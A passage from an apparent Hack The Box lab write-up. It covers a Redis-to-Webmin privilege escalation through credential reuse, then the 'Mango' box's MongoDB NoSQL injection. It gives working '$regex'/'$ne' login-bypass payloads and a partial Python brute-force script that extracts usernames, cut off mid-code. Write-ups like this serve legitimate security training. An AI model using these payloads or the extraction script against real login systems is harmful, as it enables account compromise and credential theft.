decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The previous result was a false positive. This was actually still Webmin.&lt;/p&gt;&#10;&lt;p&gt;I had no other options. The framework on port 10000 was currently the clearest lead, so I searched for more PoCs, but still got nowhere.&lt;/p&gt;&#10;&lt;p&gt;I went back over everything. Redis on port 6379 still felt like a dead end, but for thoroughness I searched for version-specific vulnerabilities and found another exploit matching the version.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa" target="_blank" rel="noopener"&#10; &gt;https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The script wouldn&amp;rsquo;t run and was a little troublesome, but the code was easy enough to read.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0397.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0398.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was actually all that was needed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0399.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Connected successfully.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege-escalation enumeration. The key points were fairly easy to find thanks to LinEnum.sh.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0400.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0401.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The encrypted value above was obvious, so I passed it straight to John.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0402.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0403.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection was closed immediately.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0404.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried connecting locally from the target, but even that failed.&lt;/p&gt;&#10;&lt;p&gt;Very strange. I could only inspect the SSH configuration.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0405.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Login was disabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0406.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The key&amp;rsquo;s passphrase was actually the account password. I switched users successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0407.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Continuing privilege escalation, I found several interesting files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0408.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was actually running as root. In other words, we couldn&amp;rsquo;t get in without its password, but if we found the password, exploiting it would grant root privileges. The password was probably all that remained, because I had searched many files and tried many things without finding another escalation path.&lt;/p&gt;&#10;&lt;p&gt;We couldn&amp;rsquo;t read most of that directory, so I used find to inspect it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0409.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing after reading it all. I could only Google where its password file was stored.&lt;/p&gt;&#10;&lt;p&gt;/etc/webmin/miniserv.users&lt;/p&gt;&#10;&lt;p&gt;But that file was inaccessible.&lt;/p&gt;&#10;&lt;p&gt;/root/webmin-1.470/changepass.pl /etc/webmin/ Demo 123456&lt;/p&gt;&#10;&lt;p&gt;This command could change it, but I didn&amp;rsquo;t have permission.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0410.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While searching, I found this. We currently had Matt&amp;rsquo;s password, so let&amp;rsquo;s try logging in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0411.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It actually worked. Whenever credentials successfully log in somewhere, try credential reuse against the other services.&lt;/p&gt;&#10;&lt;p&gt;Not noticing that immediately wasted a lot of my time.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/roughiz/Webmin-1.910-Exploit-Script" target="_blank" rel="noopener"&#10; &gt;https://github.com/roughiz/Webmin-1.910-Exploit-Script&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The code needed a small change. I didn&amp;rsquo;t have the termcolor package, and it wasn&amp;rsquo;t important anyway.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0412.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0413.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. I had been blindly overconfident about Redis here. First, I didn&amp;rsquo;t try an exploit specifically targeting version 4.0.9. Second, I noticed many things but failed to try the most important one: credential reuse.&lt;/p&gt;&#10;&lt;p&gt;Everything else was fine.&lt;/p&gt;&#10;&lt;h2 id="19mango"&gt;&lt;a href="#19mango" class="header-anchor"&gt;&lt;/a&gt;19.Mango&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0414.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0415.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0416.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was only one page. Port 22 had nothing, port 80 returned 403, and HTTPS on port 443 served this page. I couldn&amp;rsquo;t find anything hidden.&lt;/p&gt;&#10;&lt;p&gt;Searching for the page returned no results, and I didn&amp;rsquo;t know what that endpoint was doing.&lt;/p&gt;&#10;&lt;p&gt;nmap didn&amp;rsquo;t identify the framework, and neither did WhatWeb&amp;rsquo;s fingerprints.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0417.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But its title was mango search base, so I could check whether that was a framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0418.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The versions were all different. I decided to try a few.&lt;/p&gt;&#10;&lt;p&gt;As I started testing, I noticed that directory brute-forcing had returned something.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0419.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was 390,000 bytes. It existed on the home page, but at the time I saw nothing in it and ignored it. That was a mistake in my process.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0420.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This counted as an error. If the directory wordlist hadn&amp;rsquo;t included it, I would have wasted much more time. Let&amp;rsquo;s inspect it again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0421.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Many JavaScript calls failed because they were all remote calls.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0422.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was lots of data here, but it couldn&amp;rsquo;t be loaded, so the page displayed nothing. I prefer analyzing JavaScript in Chrome; Firefox is too awkward to use.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0423.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After accessing it, I found that the JavaScript here somehow worked, even though it was exactly the same request.&lt;/p&gt;&#10;&lt;p&gt;I started looking for endpoints on the current page. After a long time, it seemed to be implemented entirely in JavaScript—or perhaps I simply failed to find an endpoint.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0424.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did find something in index.php: adding any parameter after index.php always produced a response like this. It wasn&amp;rsquo;t useful.&lt;/p&gt;&#10;&lt;p&gt;But the SSL certificate actually contained more information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0425.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0426.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, the outer site had nothing, but this one did. Time to brute-force it.&lt;/p&gt;&#10;&lt;p&gt;After trying for ages and finding nothing, I had to read a write-up for the next step. It explained that mongo referred to MongoDB on the backend, and that we needed to exploit NoSQL injection. When an image, domain name, or anything else provides an obvious hint, remember to Google it and look for a matching vulnerability.&lt;/p&gt;&#10;&lt;p&gt;When I searched for mongo, the results kept showing MongoDB, but I assumed they were unrelated. It turned out NoSQL was involved too. Another lesson learned.&lt;/p&gt;&#10;&lt;p&gt;Once I knew the entry point, I started testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0427.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0428.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could get in, but it said access was denied. I checked whether I could write a shell, but it didn&amp;rsquo;t seem able to write files.&lt;/p&gt;&#10;&lt;p&gt;Logging in didn&amp;rsquo;t work either, leaving only one approach: since injection existed, we needed to extract the password and try credential reuse. This was very similar to the previous box.&lt;/p&gt;&#10;&lt;p&gt;However, OSCP almost entirely prohibits automated penetration-testing scripts, and one-click NoSQL injection tools didn&amp;rsquo;t seem to be allowed. I had to learn NoSQL syntax from scratch here.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;After a little over 1 hour of crash-course study, I found the target technique here:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The [$regex] function provides functionality much like substr.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0429.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Its usage is shown here and looks straightforward. We only need a character set.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0430.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The character set is string.printable. Remove the unwanted characters from that set, then iterate through the rest one by one. A successful login returns 302.&lt;/p&gt;&#10;&lt;p&gt;This relied almost entirely on that article, but there was still a drawback: we couldn&amp;rsquo;t discover the username. admin was the default, but I didn&amp;rsquo;t believe it was the only user.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s extract the admin password first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0431.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The admin password has 12 characters. Payload:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;username=admin&amp;amp;password[$regex]=.{§1§}&amp;amp;login=login&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I continued learning MongoDB and NoSQL injection syntax and found a crucial point.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;username[$regex]=^a.*&amp;amp;password[$ne]=1&amp;amp;login=login&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;The line above is the payload. The linked article described a statement for brute-forcing password, and the same approach works for username.&lt;/p&gt;&#10;&lt;p&gt;Constructing username[$regex]=^a.* creates a regular expression that returns a result if a username beginning with a exists. This resembles the a* enumeration vulnerabilities I encountered before: a*, ad*, adm*, admi*, and so on.&lt;/p&gt;&#10;&lt;p&gt;This lets us brute-force usernames, but there is another prerequisite: even if the username is correct, we don&amp;rsquo;t have the corresponding account password. Adding the earlier wildcard condition password[$ne]=1 lets us construct a PoC.&lt;/p&gt;&#10;&lt;p&gt;PoC logic: first brute-force the username by iterating over every character. If a exists, add it to the list by itself, then brute-force the following character. Whenever a different response appears, append that character. On the second pass, try (a) plus every character, and continue appending whenever a different response appears. If the nth pass over all characters returns nothing, the complete username has been extracted. A 302 response is the indicator of a successful login.&lt;/p&gt;&#10;&lt;p&gt;The same code can be reused to brute-force passwords; the logic is identical.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 10&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 11&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 12&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 13&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 14&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 15&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 16&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 17&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 18&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 19&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 20&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 21&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 22&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 23&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 24&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 25&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 26&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 27&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 28&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 29&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 30&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 31&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 32&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 33&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 34&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 35&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 36&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 37&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 38&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 39&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 40&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 41&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 42&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 43&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 44&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 45&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 46&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 47&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 48&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 49&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 50&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 51&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 52&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 53&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 54&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 55&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 56&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 57&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 58&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 59&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 60&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 61&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 62&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 63&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 64&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 65&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 66&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 67&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 68&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 69&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 70&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 71&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 72&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 73&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 74&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 75&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 76&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 77&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 78&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 79&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 80&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 81&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 82&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 83&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 84&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 85&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 86&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 87&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 88&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 89&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 90&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 91&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 92&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 93&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 94&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 95&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 96&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 97&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 98&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 99&#10;&lt;/span&gt;&lt;span class="lnt"&gt;100&#10;&lt;/span&gt;&lt;span class="lnt"&gt;101&#10;&lt;/span&gt;&lt;span class="lnt"&gt;102&#10;&lt;/span&gt;&lt;span class="lnt"&gt;103&#10;&lt;/span&gt;&lt;span class="lnt"&gt;104&#10;&lt;/span&gt;&lt;span class="lnt"&gt;105&#10;&lt;/span&gt;&lt;span class="lnt"&gt;106&#10;&lt;/span&gt;&lt;span class="lnt"&gt;107&#10;&lt;/span&gt;&lt;span class="lnt"&gt;108&#10;&lt;/span&gt;&lt;span class="lnt"&gt;109&#10;&lt;/span&gt;&lt;span class="lnt"&gt;110&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import string&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url = &amp;#34;http://staging-order.mango.htb/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;staging-order.mango.htb&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Length&amp;#39;: &amp;#39;49&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Origin&amp;#39;: &amp;#39;http://staging-order.mango.htb&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Type&amp;#39;: &amp;#39;application/x-www-form-urlencoded&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://staging-order.mango.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=qspndr7i6msn9e8eamalqjadh7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# data = &amp;#39;username[$regex]=^a.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(requests.post(url=url,headers=headers,data=data, allow_redirects=False).status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;list_username = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# #Username&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# while True:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if list_username != [] and len(list_username) &amp;gt;= 1 and flag:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# flag = False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in range(0, len(list_username)):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if c not in [&amp;#39;*&amp;#39;, &amp;#39;+&amp;#39;, &amp;#39;.&amp;#39;, &amp;#39;?&amp;#39;, &amp;#39;|&amp;#39;, &amp;#39;#&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, &amp;#39;$&amp;#39;, &amp;#39;\\&amp;#39;,&amp;#39;^&amp;#39;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# post_data_1 = f&amp;#34;username[$regex]=^{list_username[i]+c}.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# list_username[i] = 